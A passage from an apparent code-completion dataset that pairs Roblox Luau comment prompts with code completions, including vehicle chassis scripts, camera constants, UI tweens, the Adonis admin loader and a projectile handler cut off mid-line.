prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--Rescripted by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") ServerControl = Tool:WaitForChild("ServerControl") ClientControl = Tool:WaitForChild("ClientControl") ClientControl.OnClientInvoke = (function(Mode, Value) if Mode == "PlaySound" and Value then Value:Play() end end) function InvokeServer(Mode, Value, arg) pcall(function() ServerControl:InvokeServer(Mode, Value, arg) end) end function Equipped(Mouse) local Character = Tool.Parent local Player = Players:GetPlayerFromCharacter(Character) local Humanoid = Character:FindFirstChild("Humanoid") if not Player or not Humanoid or Humanoid.Health == Humanoid.Health - 100 then return end Mouse.Button1Down:connect(function() InvokeServer("Click", true, Mouse.Hit.p) end) end local function Unequipped() end Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
--[[** <description> Takes a function to be called whenever the cached result updates. </description> <parameter name = "callback"> The function to call. </parameter> **--]]
function DataStore:OnUpdate(callback) table.insert(self.callbacks, callback) end
----- Class -----
local Spring = JamCore.GetClass("Spring")
-- ROBLOX deviation: omitted, no ordered tables in lua
function compareObjects(a, b, options: DiffOptions?) local difference local hasThrown = false local ok, _ = pcall(function() local formatOptions = getFormatOptions(FORMAT_OPTIONS, options) difference = getObjectsDifference(a, b, formatOptions, options) -- local aCompare = prettyFormat(a, FORMAT_OPTIONS_0) -- local bCompare = prettyFormat(b, FORMAT_OPTIONS_0) -- if aCompare == bCompare then -- difference = noDiffMessage -- else -- local aDisplay = prettyFormat(a, FORMAT_OPTIONS) -- local bDisplay = prettyFormat(b, FORMAT_OPTIONS) -- difference = diffLinesUnified2( -- string.split(aDisplay, '\n'), -- string.split(bDisplay, '\n'), -- string.split(aCompare, '\n'), -- string.split(bCompare, '\n'), -- options -- ) -- end end) if not ok then hasThrown = true end local noDiffMessage = getCommonMessage(NO_DIFF_MESSAGE, options) -- If the comparison yields no results, compare again but this time -- without calling `toJSON`. It's also possible that toJSON might throw. if difference == nil or difference == noDiffMessage then local formatOptions = getFormatOptions(FALLBACK_FORMAT_OPTIONS, options) difference = getObjectsDifference(a, b, formatOptions, options) -- local aCompare = prettyFormat(a, FALLBACK_FORMAT_OPTIONS_0) -- local bCompare = prettyFormat(b, FALLBACK_FORMAT_OPTIONS_0) -- if aCompare == bCompare then -- difference = noDiffMessage -- else -- local aDisplay = prettyFormat(a, FALLBACK_FORMAT_OPTIONS) -- local bDisplay = prettyFormat(b, FALLBACK_FORMAT_OPTIONS) -- difference = diffLinesUnified2( -- string.split(aDisplay, '\n'), -- string.split(bDisplay, '\n'), -- string.split(aCompare, '\n'), -- string.split(bCompare, '\n'), -- options -- ) -- end if difference ~= noDiffMessage and not hasThrown then difference = getCommonMessage(SIMILAR_MESSAGE, options) .. "\n\n" .. difference end end return difference end function getFormatOptions(formatOptions: PrettyFormatOptions, options: DiffOptions?): PrettyFormatOptions local compareKeys = normalizeDiffOptions(options).compareKeys return Object.assign({}, formatOptions, { compareKeys = compareKeys }) end function getObjectsDifference( a: Record<string, any>, b: Record<string, any>, formatOptions: PrettyFormatOptions, options: DiffOptions? ): string local formatOptionsZeroIndent = Object.assign({}, formatOptions, { indent = 0 }) local aCompare = prettyFormat(a, formatOptionsZeroIndent) local bCompare = prettyFormat(b, formatOptionsZeroIndent) if aCompare == bCompare then return getCommonMessage(NO_DIFF_MESSAGE, options) else local aDisplay = prettyFormat(a, formatOptions) local bDisplay = prettyFormat(b, formatOptions) return diffLinesUnified2( String.split(aDisplay, "\n"), String.split(bDisplay, "\n"), String.split(aCompare, "\n"), String.split(bCompare, "\n"), options ) end end return { diffLinesRaw = diffLinesRaw, diffLinesUnified = diffLinesUnified, diffLinesUnified2 = diffLinesUnified2, diffStringsRaw = diffStringsRaw, diffStringsUnified = diffStringsUnified, DIFF_DELETE = DIFF_DELETE, DIFF_EQUAL = DIFF_EQUAL, DIFF_INSERT = DIFF_INSERT, Diff = Diff, diff = diff, }
--[[ local scheduler = TaskScheduler:CreateScheduler(targetedMinimumFPS) scheduler:QueueTask(function) scheduler:Pause() scheduler:Resume() scheduler:Destroy() --]]
local TaskScheduler = {} local lastIteration local frameUpdateTable = {} local runService = game:GetService("RunService")
--[=[ Attaches a `done` handler to this Promise that discards the resolved value and returns the given value from it. ```lua promise:doneReturn("some", "values") ``` This is sugar for ```lua promise:done(function() return "some", "values" end) ``` @param ... any -- Values to return from the function @return Promise ]=]
function Promise.prototype:doneReturn(...) local length, values = pack(...) return self:_finally(debug.traceback(nil, 2), function() return unpack(values, 1, length) end, true) end
--[[Vehicle Weight]] --Determine Current Mass
local mass=0 function getMass(p) for i,v in pairs(p:GetChildren())do if v:IsA("BasePart") then mass=mass+v:GetMass() end getMass(v) end end getMass(bike)
-- Experimental flag: name children based on the key used in the [Children] table
local EXPERIMENTAL_AUTO_NAMING = false local Children = {} Children.type = "SpecialKey" Children.kind = "Children" Children.stage = "descendants" function Children:apply(propValue: any, applyTo: Instance, cleanupTasks) local newParented: Set<Instance> = {} local oldParented: Set<Instance> = {} -- save disconnection functions for state object observers local newDisconnects = {} local oldDisconnects = {} local updateQueued = false local queueUpdate: () -> () -- Rescans this key's value to find new instances to parent and state objects -- to observe for changes; then unparents instances no longer found and -- disconnects observers for state objects no longer present. local function updateChildren() if not updateQueued then return -- this update may have been canceled by destruction, etc. end updateQueued = false oldParented, newParented = newParented, oldParented oldDisconnects, newDisconnects = newDisconnects, oldDisconnects table.clear(newParented) table.clear(newDisconnects) local function processChild(child: any, autoName: string?) local kind = ObjectUtility.xtypeof(child) if kind == "Instance" then -- case 1; single instance newParented[child] = true if oldParented[child] == nil then -- wasn't previously present -- TODO: check for ancestry conflicts here child.Parent = applyTo else -- previously here; we want to reuse, so remove from old -- set so we don't encounter it during unparenting oldParented[child] = nil end if EXPERIMENTAL_AUTO_NAMING and autoName ~= nil then child.Name = autoName end elseif kind == "State" then -- case 2; state object local value = child:get(false) -- allow nil to represent the absence of a child if value ~= nil then processChild(value, autoName) end local disconnect = oldDisconnects[child] if disconnect == nil then -- wasn't previously present disconnect = Observer(child):onChange(queueUpdate) else -- previously here; we want to reuse, so remove from old -- set so we don't encounter it during unparenting oldDisconnects[child] = nil end newDisconnects[child] = disconnect elseif kind == "table" then -- case 3; table of objects for key, subChild in child do local keyType = typeof(key) local subAutoName: string? = nil if keyType == "string" then subAutoName = key elseif keyType == "number" and autoName ~= nil then subAutoName = autoName .. "_" .. key end processChild(subChild, subAutoName) end else warn("unrecognisedChildType", kind) end end if propValue ~= nil then -- `propValue` is set to nil on cleanup, so we don't process children -- in that case processChild(propValue) end -- unparent any children that are no longer present for oldInstance in oldParented do oldInstance.Parent = nil end -- disconnect observers which weren't reused for oldState, disconnect in oldDisconnects do disconnect() end end queueUpdate = function() if not updateQueued then updateQueued = true task.defer(updateChildren) end end table.insert(cleanupTasks, function() propValue = nil updateQueued = true updateChildren() end) -- perform initial child parenting updateQueued = true updateChildren() end return Children
--Put Brakes,Headlight,Highlight,Left,Reverse,and Right into Body. --Put this script into Plugins -- Duplicate your lights, make it neon and put it inside G1 of the corrisponding model. -- What it does is it enables a light inside the parts named Light and makes the part's transparency 0. -- When its off, it disables the Light and sets the transparency to 1
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"]) local body = car.Body local event=car.SmeersLightsHandler local dtapdleft=false local uis=game:GetService("UserInputService") uis.InputBegan:connect(function(input, gp) if not gp then if input.KeyCode==Enum.KeyCode.Z or input.KeyCode==Enum.KeyCode.DPadLeft then event:FireServer({["ToggleLeftBlink"]=true}) elseif input.KeyCode==Enum.KeyCode.C or input.KeyCode==Enum.KeyCode.DPadRight then event:FireServer({["ToggleRightBlink"]=true}) elseif input.KeyCode==Enum.KeyCode.V then event:FireServer({["ToggleStandlicht"]=true}) elseif input.KeyCode==Enum.KeyCode.X then event:FireServer({["ToggleHazards"]=true}) end end end) local Time, Activate, Blink, End = .2, 40, .1, 3 local CurrTime = 0 -- don't change this car.DriveSeat.Changed:Connect(function(Change) if Change == "Throttle" then if car.DriveSeat.Throttle == -1 then event:FireServer({["EnableBrakes"]=true}) if math.floor((10/12) * (60/88)*car.DriveSeat.Velocity.Magnitude) >= Activate then repeat if math.floor((10/12) * (60/88)*car.DriveSeat.Velocity.Magnitude) >= Activate then if car.DriveSeat.Throttle == -1 then CurrTime = CurrTime + .05 else CurrTime = 0 break end else CurrTime = 0 break end wait(.05) until CurrTime >= Time if CurrTime >= Time then CurrTime = 0 if math.floor((10/12) * (60/88)*car.DriveSeat.Velocity.Magnitude) >= Activate then repeat if math.floor((10/12) * (60/88)*car.DriveSeat.Velocity.Magnitude) >= Activate or car.DriveSeat.Throttle == -1 then event:FireServer({["EnableBrakes"]=true}) wait(Blink) event:FireServer({["DisableBrakes"]=true}) wait(Blink) end until math.floor((10/12) * (60/88)*car.DriveSeat.Velocity.Magnitude) <= End or car.DriveSeat.Throttle ~= -1 if math.floor((10/12) * (60/88)*car.DriveSeat.Velocity.Magnitude) <= End then event:FireServer({["ToggleHazards"]=true}) event:FireServer({["EnableBrakes"]=true}) end end else CurrTime = 0 end end else event:FireServer({["DisableBrakes"]=true}) end end end) script.Parent.Values.Gear.Changed:connect(function() if script.Parent.Values.Gear.Value == -1 then event:FireServer({["ReverseOn"]=true}) elseif script.Parent.Values.Gear.Value ~= -1 then event:FireServer({["ReverseOff"]=true}) end end)
--{{TWEEN VALUES}} : EASING STYLES.
Settings.FadeOutInfo = {EasingStyle = Enum.EasingStyle.Quint, EasingDirection = Enum.EasingDirection.Out} Settings.FadeInInfo = {EasingStyle = Enum.EasingStyle.Quad, EasingDirection = Enum.EasingDirection.In}
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
script.Parent:WaitForChild("Speedo") script.Parent:WaitForChild("Tach") script.Parent:WaitForChild("ln") script.Parent:WaitForChild("Gear") script.Parent:WaitForChild("Speed") local car = script.Parent.Parent.Car.Value car.DriveSeat.HeadsUpDisplay = false local _Tune = require(car["A-Chassis Tune"]) local _pRPM = _Tune.PeakRPM local _lRPM = _Tune.Redline local revEnd = math.ceil(_lRPM/1000) local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil then table.insert(Drive,car.Wheels.F) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end if car.Wheels:FindFirstChild("R")~= nil then table.insert(Drive,car.Wheels.R) end end local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end Drive = nil local maxSpeed = math.ceil(wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive) local spInc = math.max(math.ceil(maxSpeed/200)*20,20) for i=0,revEnd*2 do local ln = script.Parent.ln:clone() ln.Parent = script.Parent.Tach ln.Rotation = 45 + i * 225 / (revEnd*2) ln.Num.Text = i/2 ln.Num.Rotation = -ln.Rotation if i*500>=math.floor(_pRPM/500)*500 then ln.Frame.BackgroundColor3 = Color3.new(1,0,0) if i<revEnd*2 then ln2 = ln:clone() ln2.Parent = script.Parent.Tach ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2) ln2.Num:Destroy() ln2.Visible=true end end if i%2==0 then ln.Frame.Size = UDim2.new(0,3,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) ln.Num.Visible = true else ln.Num:Destroy() end ln.Visible=true end for i=1,90 do local ln = script.Parent.ln:clone() ln.Parent = script.Parent.Speedo ln.Rotation = 45 + 225*(i/90) if i%2==0 then ln.Frame.Size = UDim2.new(0,2,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) else ln.Frame.Size = UDim2.new(0,3,0,5) end ln.Num:Destroy() ln.Visible=true end for i=0,maxSpeed,spInc do local ln = script.Parent.ln:clone() ln.Parent = script.Parent.Speedo ln.Rotation = 45 + 225*(i/maxSpeed) ln.Num.Text = i ln.Num.Rotation = -ln.Rotation ln.Frame:Destroy() ln.Num.Visible=true ln.Visible=true end if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end script.Parent.Parent.IsOn.Changed:connect(function() if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) script.Parent.Parent.Values.RPM.Changed:connect(function() script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000)) end) script.Parent.Parent.Values.Gear.Changed:connect(function() local gearText = script.Parent.Parent.Values.Gear.Value if gearText == 0 then gearText = "N" elseif gearText == -1 then gearText = "R" end script.Parent.Gear.Text = gearText end) script.Parent.Parent.Values.TCS.Changed:connect(function() if script.Parent.Parent.Values.TCS.Value then script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.TCSActive.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = true script.Parent.TCS.TextColor3 = Color3.new(1,0,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0) end end) script.Parent.Parent.Values.TCSActive.Changed:connect(function() if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true else wait() script.Parent.TCS.Visible = false end end) script.Parent.TCS.Changed:connect(function() if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true end end) script.Parent.Parent.Values.PBrake.Changed:connect(function() script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value end) script.Parent.Parent.Values.TransmissionMode.Changed:connect(function() if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then script.Parent.TMode.Text = "A/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0) elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then script.Parent.TMode.Text = "S/T" script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255) else script.Parent.TMode.Text = "M/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5) end end) script.Parent.Parent.Values.Velocity.Changed:connect(function(property) script.Parent.Speedo.Needle.Rotation =45 + 225 * math.min(1,script.Parent.Parent.Values.Velocity.Value.Magnitude/maxSpeed) script.Parent.Speed.Text = math.floor(script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " SPS" end)
-- Right Legs
character.Constraint.ConstraintRightUpperLeg.Attachment0 = RUL character.Constraint.ConstraintRightUpperLeg.Attachment1 = RULRig character.Constraint.ConstraintRightLowerLeg.Attachment0 = RLL character.Constraint.ConstraintRightLowerLeg.Attachment1 = RLLRig character.Constraint.ConstraintRightFoot.Attachment0 = RF character.Constraint.ConstraintRightFoot.Attachment1 = RFRig
------------------------------------------------------------------------------------------------------------------------------------------------
if script.Parent:FindFirstChild("Leg1") then local g = script.Parent.Leg1:Clone() g.Parent = File for _,i in pairs(g:GetChildren()) do if i:IsA("Part") or i:IsA("UnionOperation") or i:IsA("MeshPart") then i.CanCollide = false i.Anchored = false local Y = Instance.new("Weld") Y.Part0 = Player.Character["Left Leg"] Y.Part1 = g.Middle Y.C0 = CFrame.new(0, 0, 0) Y.Parent = Player.Character["Left Leg"] end end end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 5 -- cooldown for use of the tool again ZoneModelName = "Disco ball" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--FakeHumanoidRootPart.Massless = true
FakeHumanoidRootPart.Transparency = 1 FakeHumanoidRootPart.Parent = Viewmodel local FakeTorso = Instance.new("Part") FakeTorso.Name = "Torso" FakeTorso.CanCollide = false FakeTorso.CanTouch = false FakeTorso.Transparency = 1
-- Note: DotProduct check in CoordinateFrame::lookAt() prevents using values within about -- 8.11 degrees of the +/- Y axis, that's why these limits are currently 80 degrees
local MIN_Y = math.rad(-80) local MAX_Y = math.rad(80) local TOUCH_ADJUST_AREA_UP = math.rad(30) local TOUCH_ADJUST_AREA_DOWN = math.rad(-15) local TOUCH_SENSITIVTY_ADJUST_MAX_Y = 2.1 local TOUCH_SENSITIVTY_ADJUST_MIN_Y = 0.5 local VR_ANGLE = math.rad(15) local VR_LOW_INTENSITY_ROTATION = Vector2.new(math.rad(15), 0) local VR_HIGH_INTENSITY_ROTATION = Vector2.new(math.rad(45), 0) local VR_LOW_INTENSITY_REPEAT = 0.1 local VR_HIGH_INTENSITY_REPEAT = 0.4 local ZERO_VECTOR2 = Vector2.new(0,0) local ZERO_VECTOR3 = Vector3.new(0,0,0) local TOUCH_SENSITIVTY = Vector2.new(0.00945 * math.pi, 0.003375 * math.pi) local MOUSE_SENSITIVITY = Vector2.new( 0.002 * math.pi, 0.0015 * math.pi ) local SEAT_OFFSET = Vector3.new(0,5,0) local VR_SEAT_OFFSET = Vector3.new(0,4,0) local HEAD_OFFSET = Vector3.new(0,1.5,0) local R15_HEAD_OFFSET = Vector3.new(0, 1.5, 0) local R15_HEAD_OFFSET_NO_SCALING = Vector3.new(0, 2, 0) local HUMANOID_ROOT_PART_SIZE = Vector3.new(2, 2, 1) local GAMEPAD_ZOOM_STEP_1 = 0 local GAMEPAD_ZOOM_STEP_2 = 10 local GAMEPAD_ZOOM_STEP_3 = 20 local PAN_SENSITIVITY = 20 local ZOOM_SENSITIVITY_CURVATURE = 0.5 local abs = math.abs local sign = math.sign local FFlagUserCameraToggle do local success, result = pcall(function() return UserSettings():IsUserFeatureEnabled("UserCameraToggle") end) FFlagUserCameraToggle = success and result end local FFlagUserDontAdjustSensitvityForPortrait do local success, result = pcall(function() return UserSettings():IsUserFeatureEnabled("UserDontAdjustSensitvityForPortrait") end) FFlagUserDontAdjustSensitvityForPortrait = success and result end local Util = require(script.Parent:WaitForChild("CameraUtils")) local ZoomController = require(script.Parent:WaitForChild("ZoomController")) local CameraToggleStateController = require(script.Parent:WaitForChild("CameraToggleStateController")) local CameraInput = require(script.Parent:WaitForChild("CameraInput")) local CameraUI = require(script.Parent:WaitForChild("CameraUI"))
--don't touch below, very delicate
car = script.Parent.Parent Base = car:FindFirstChild("Base") Left = car:FindFirstChild("Left") Right = car:FindFirstChild("Right") function MakeDoor(hinge,door,hingeOffset,doorOffset) local doorMotor = Instance.new("Motor",car) doorMotor.Name = hinge.Name.."Motor" doorMotor.Part0 = door doorMotor.Part1 = hinge doorMotor.C0 = doorOffset doorMotor.C1 = hingeOffset doorMotor.MaxVelocity = 0.05 door.CanCollide = true local doorDebounce = false door.Touched:connect(function(it) if not doorDebounce and it.Parent and it.Name == "HumanoidRootPart" and game:GetService("Players"):GetPlayerFromCharacter(it.Parent) then doorDebounce = true door.CanCollide = false doorMotor.DesiredAngle = math.pi/3 wait(1.5) doorMotor.DesiredAngle = 0 wait(0.5) door.CanCollide = true doorDebounce = false end end) end function MakeWeldDoor(hinge,door) local doorMotor = Instance.new("Motor6D",car) doorMotor.Name = hinge.Name.."Motor" doorMotor.Part0 = door doorMotor.Part1 = hinge doorMotor.C1 = hinge.CFrame:inverse()*door.CFrame door.CanCollide = false end function GetCFrame(object)--we'll get a CFrame value out of a CFrameValue or a StringValue formatted like a CFrame if object:IsA("CFrameValue") then--if someone is using a CFrame value then we'll just pull the value directly return object.Value elseif object:IsA("StringValue") then--added functionality for this because I dislike interfacing with CFrame values local cframe = nil pcall(function()--using pcall because i'm lazy cframe = CFrame.new(object.Value:match("(.+),(.+),(.+),(.+),(.+),(.+),(.+),(.+),(.+),(.+),(.+),(.+)")) --if you print your CFrame and paste it into the string value, this will find that out and use it properly end) return cframe end end for _,h in pairs (car:GetChildren()) do if h:IsA("Motor6D") then--make sure we start with a blank slate h:Destroy() end end for _,i in pairs (car:GetChildren()) do if i:IsA("BasePart") and i.Name:find("DoorHinge") then-- found a door with regex! local DoorID = i.Name:match("DoorHinge(.*)")--haha regex is fun local MatchingDoor = car:FindFirstChild("Door"..DoorID)--can we use our regex powers to find a matching door? if MatchingDoor then-- yay we found one! local DoorCFrameValue = MatchingDoor:FindFirstChild("DoorCFrame") local HingeCFrameValue = MatchingDoor:FindFirstChild("HingeCFrame") if DoorCFrameValue and HingeCFrameValue then local doorCFrame = GetCFrame(DoorCFrameValue) local hingeCFrame = GetCFrame(HingeCFrameValue) if doorCFrame and hingeCFrame then MakeDoor(i,MatchingDoor,hingeCFrame,doorCFrame) else MakeWeldDoor(i,MatchingDoor) end else MakeWeldDoor(i,MatchingDoor) end end end end if Base then if Left then leftMotor = Instance.new("Motor6D", car) leftMotor.Name = "LeftMotor" leftMotor.Part0 = Left leftMotor.Part1 = Base leftMotor.C0 = CFrame.new(-WheelSize/2-Left.Size.x/2,0,0)*CFrame.Angles(math.pi/2,0,-math.pi/2) leftMotor.C1 = CFrame.new(Base.Size.x/2+Left.Size.x+WheelSize/2,0,0)*CFrame.Angles(math.pi/2,0,math.pi/2) leftMotor.MaxVelocity = motorSpeed end if Right then rightMotor = Instance.new("Motor6D", car) rightMotor.Name = "RightMotor" rightMotor.Part0 = Right rightMotor.Part1 = Base rightMotor.C0 = CFrame.new(-WheelSize/2-Right.Size.x/2,0,0)*CFrame.Angles(math.pi/2,0,math.pi/2) rightMotor.C1 = CFrame.new(-Base.Size.x/2-Right.Size.x-WheelSize/2,0,0)*CFrame.Angles(math.pi/2,0,math.pi/2) rightMotor.MaxVelocity = motorSpeed end end
--Fully made by --animations are made with :lerp() --you can convert the model to use it in script builder
local npc = script.Parent local torso = npc.Torso local head = npc.Head local leftarm = npc["Left Arm"] local rightarm = npc["Right Arm"] local leftleg = npc["Left Leg"] local rightleg = npc["Right Leg"] local npchumanoid = npc.Humanoid local aksound = npc["AK-47"].shoot
---------------------------------------------------------------------------------------- -- Adonis Loader -- ---------------------------------------------------------------------------------------- -- Epix Incorporated. Not Everything is so Black and White. -- ---------------------------------------------------------------------------------------- -- Edit settings in-game or using the settings module in the Config folder -- ---------------------------------------------------------------------------------------- -- This is not designed to work in solo mode -- ----------------------------------------------------------------------------------------
local warn = function(...) warn(":: Adonis ::", ...) end warn("Loading...") local ServerScriptService = game:GetService("ServerScriptService") local RunService = game:GetService("RunService") local mutex = RunService:FindFirstChild("__Adonis_MUTEX") if mutex then if mutex:IsA("StringValue") then warn("Adonis is already running! Aborting...; Running Location:", mutex.Value, "This Location:", script:GetFullName()) else warn("Adonis mutex detected but is not a StringValue! Aborting anyway...; This Location:", script:GetFullName()) end else mutex = Instance.new("StringValue") mutex.Name = "__Adonis_MUTEX" mutex.Value = script:GetFullName() mutex.Parent = RunService local model = script.Parent.Parent local config = model.Config local core = model.Loader local dropper = core.Dropper local loader = core.Loader local runner = script local settings = config.Settings local plugins = config.Plugins local themes = config.Themes local backup = model:Clone() local data = { Settings = {}; Descriptions = {}; Messages = {}; ServerPlugins = {}; ClientPlugins = {}; Packages = {}; Themes = {}; ModelParent = model.Parent; Model = model; Config = config; Core = core; Loader = loader; Dopper = dropper; Runner = runner; ModuleID = 7510592873; --// https://www.roblox.com/library/7510592873/Adonis-MainModule LoaderID = 7510622625; --// https://www.roblox.com/library/7510622625/Adonis-Loader-Sceleratis-Davey-Bones-Epix DebugMode = false; } --// Init -- selene: allow(incorrect_standard_library_use) script.Parent = nil --script:Destroy() model.Name = math.random() local moduleId = data.ModuleID if data.DebugMode then moduleId = model.Parent.MainModule end local success, setTab = pcall(require, settings) if success then data.Messages = setTab.Settings.Messages else warn("Settings module errored while loading; Using defaults; Error Message: ", setTab) table.insert(data.Messages, { Title = "Warning!"; Message = "Settings module error detected. Using default settings."; Time = 15; }) setTab = {} end data.Settings = setTab.Settings data.Descriptions = setTab.Description data.Order = setTab.Order for _, Plugin in ipairs(plugins:GetChildren()) do if Plugin:IsA("Folder") then table.insert(data.Packages, Plugin) elseif string.sub(string.lower(Plugin.Name), 1, 7) == "client:" or string.sub(string.lower(Plugin.Name), 1, 7) == "client-" then table.insert(data.ClientPlugins, Plugin) elseif string.sub(string.lower(Plugin.Name), 1, 7) == "server:" or string.sub(string.lower(Plugin.Name), 1, 7) == "server-" then table.insert(data.ServerPlugins, Plugin) else warn("Unknown Plugin Type for "..tostring(Plugin).."; Plugin name should either start with server:, server-, client:, or client-") end end for _, Theme in ipairs(themes:GetChildren()) do table.insert(data.Themes, Theme) end if tonumber(moduleId) then warn("Requiring Adonis MainModule. Model URL: https://www.roblox.com/library/".. moduleId) end local module = require(moduleId) local response = module(data) if response == "SUCCESS" then if (data.Settings and data.Settings.HideScript) and not data.DebugMode and not RunService:IsStudio() then model.Parent = nil game:BindToClose(function() model.Parent = ServerScriptService model.Name = "Adonis_Loader" end) end model.Name = "Adonis_Loader" else error(" !! MainModule failed to load !! ") end end --[[ --___________________________________________________________________________________________-- --___________________________________________________________________________________________-- --___________________________________________________________________________________________-- --___________________________________________________________________________________________-- ___________ .__ .___ \_ _____/_____ |__|__ ___ | | ____ ____ | __)_\____ \| \ \/ / | |/ \_/ ___\ | \ |_> > |> < | | | \ \___ /_______ / __/|__/__/\_ \ |___|___| /\___ > /\ \/|__| \/ \/ \/ \/ -------------------------------------------------------- Epix Incorporated. Not Everything is so Black and White. -------------------------------------------------------- --___________________________________________________________________________________________-- --___________________________________________________________________________________________-- --___________________________________________________________________________________________-- --___________________________________________________________________________________________-- --]]
------------------------------------------------------------------------ -- -- * used in luaK:need_value(), luaK:removevalues(), luaK:patchlistaux(), -- luaK:concat() ------------------------------------------------------------------------
function luaK:getjump(fs, pc) local offset = luaP:GETARG_sBx(fs.f.code[pc]) if offset == self.NO_JUMP then -- point to itself represents end of list return self.NO_JUMP -- end of list else return (pc + 1) + offset -- turn offset into absolute position end end
-----------
function module:GetPlayerData(plr) if not plr then plr = game:GetService("Players").LocalPlayer end if plr:FindFirstChild("data") then return HS:JSONDecode(plr.data.Value) else return nil end end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 5 -- cooldown for use of the tool again ZoneModelName = "Dream bow" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--CHANGE THIS LINE-- (Main)(Opposite direction of turn value)
Signal = script.Parent.Parent.Parent.ControlBox.SignalValues.Signal1 -- Change last word
--- Routinely check player cache for garbage
coroutine.wrap(function() while wait(180) do ClearGarbage() end end)
-- Get the HumanoidRootPart and wait for the server audio
local root = character.HumanoidRootPart local serverSound = root:WaitForChild("CurrentSound")
-- Player Stats
local stats = player:WaitForChild("stats") local points = stats:WaitForChild(GameSettings.pointsName) local totalPoints = stats:WaitForChild("Total" .. GameSettings.pointsName) local upgrades = stats:WaitForChild(GameSettings.upgradeName)
--Left lean
R6LeftLegLeftLean = .55 R6RightLegLeftLean = .3 R6LeftArmLeftLean = .3 R6RightArmLeftLean = .7 R6TorsoLeftLean = .3
--------------------------------------------------
script.Parent.Values.RPM.Changed:connect(function() intach.Rotation = -50 + script.Parent.Values.RPM.Value * 246 / 7500 end) script.Parent.Values.Velocity.Changed:connect(function(property) inspd.Rotation = -18 + (440 / 154) * (math.abs(script.Parent.Values.Velocity.Value.Magnitude*((6/12) * (50/88)))) end) if _Tune.Aspiration ~= "Natural" then if _Tune.Aspiration == "Single" then _TCount = 1 elseif _Tune.Aspiration == "Double" then _TCount = 2 end end
--//Remote Functions\\--
fire.OnServerEvent:Connect(function(player, mouseHit) local character = player.Character local humanoid = character:FindFirstChild("Humanoid") local weaponAccuracy = Vector3.new(math.random(-accuracy.Value * 2, accuracy.Value * 2), math.random(-accuracy.Value * 2, accuracy.Value * 2), math.random(-accuracy.Value * 2, accuracy.Value * 2)) if humanoid and humanoid ~= 0 then local projectile = Instance.new("Part", workspace) local trail = Instance.new("Trail", projectile) trail.FaceCamera = true trail.Lifetime = 0.3 trail.MinLength = 0.15 trail.LightEmission = 0.25 local attachment0 = Instance.new("Attachment", projectile) attachment0.Position = Vector3.new(0.35, 0, 0) attachment0.Name = "Attachment1" local attachment1 = Instance.new("Attachment", projectile) attachment1.Position = Vector3.new(-0.35, 0, 0) attachment1.Name = "Attachment1" trail.Attachment0 = attachment0 trail.Attachment1 = attachment1 projectile.Name = "Bullet" projectile.BrickColor = BrickColor.new("Smoky gray") projectile.Shape = "Ball" projectile.Material = Enum.Material.Metal projectile.TopSurface = 0 projectile.BottomSurface = 0 projectile.Size = Vector3.new(1, 1, 1) projectile.Transparency = 1 projectile.CFrame = CFrame.new(muzzle.CFrame.p, mouseHit.p) projectile.CanCollide = false local transparencyPoints = {} local startColor = Color3.new(255, 255, 0) local endColor = Color3.new(213, 115, 61) table.insert(transparencyPoints, NumberSequenceKeypoint.new(0, 1)) table.insert(transparencyPoints, NumberSequenceKeypoint.new(0.25, 0)) table.insert(transparencyPoints, NumberSequenceKeypoint.new(1, 1)) local determinedTransparency = 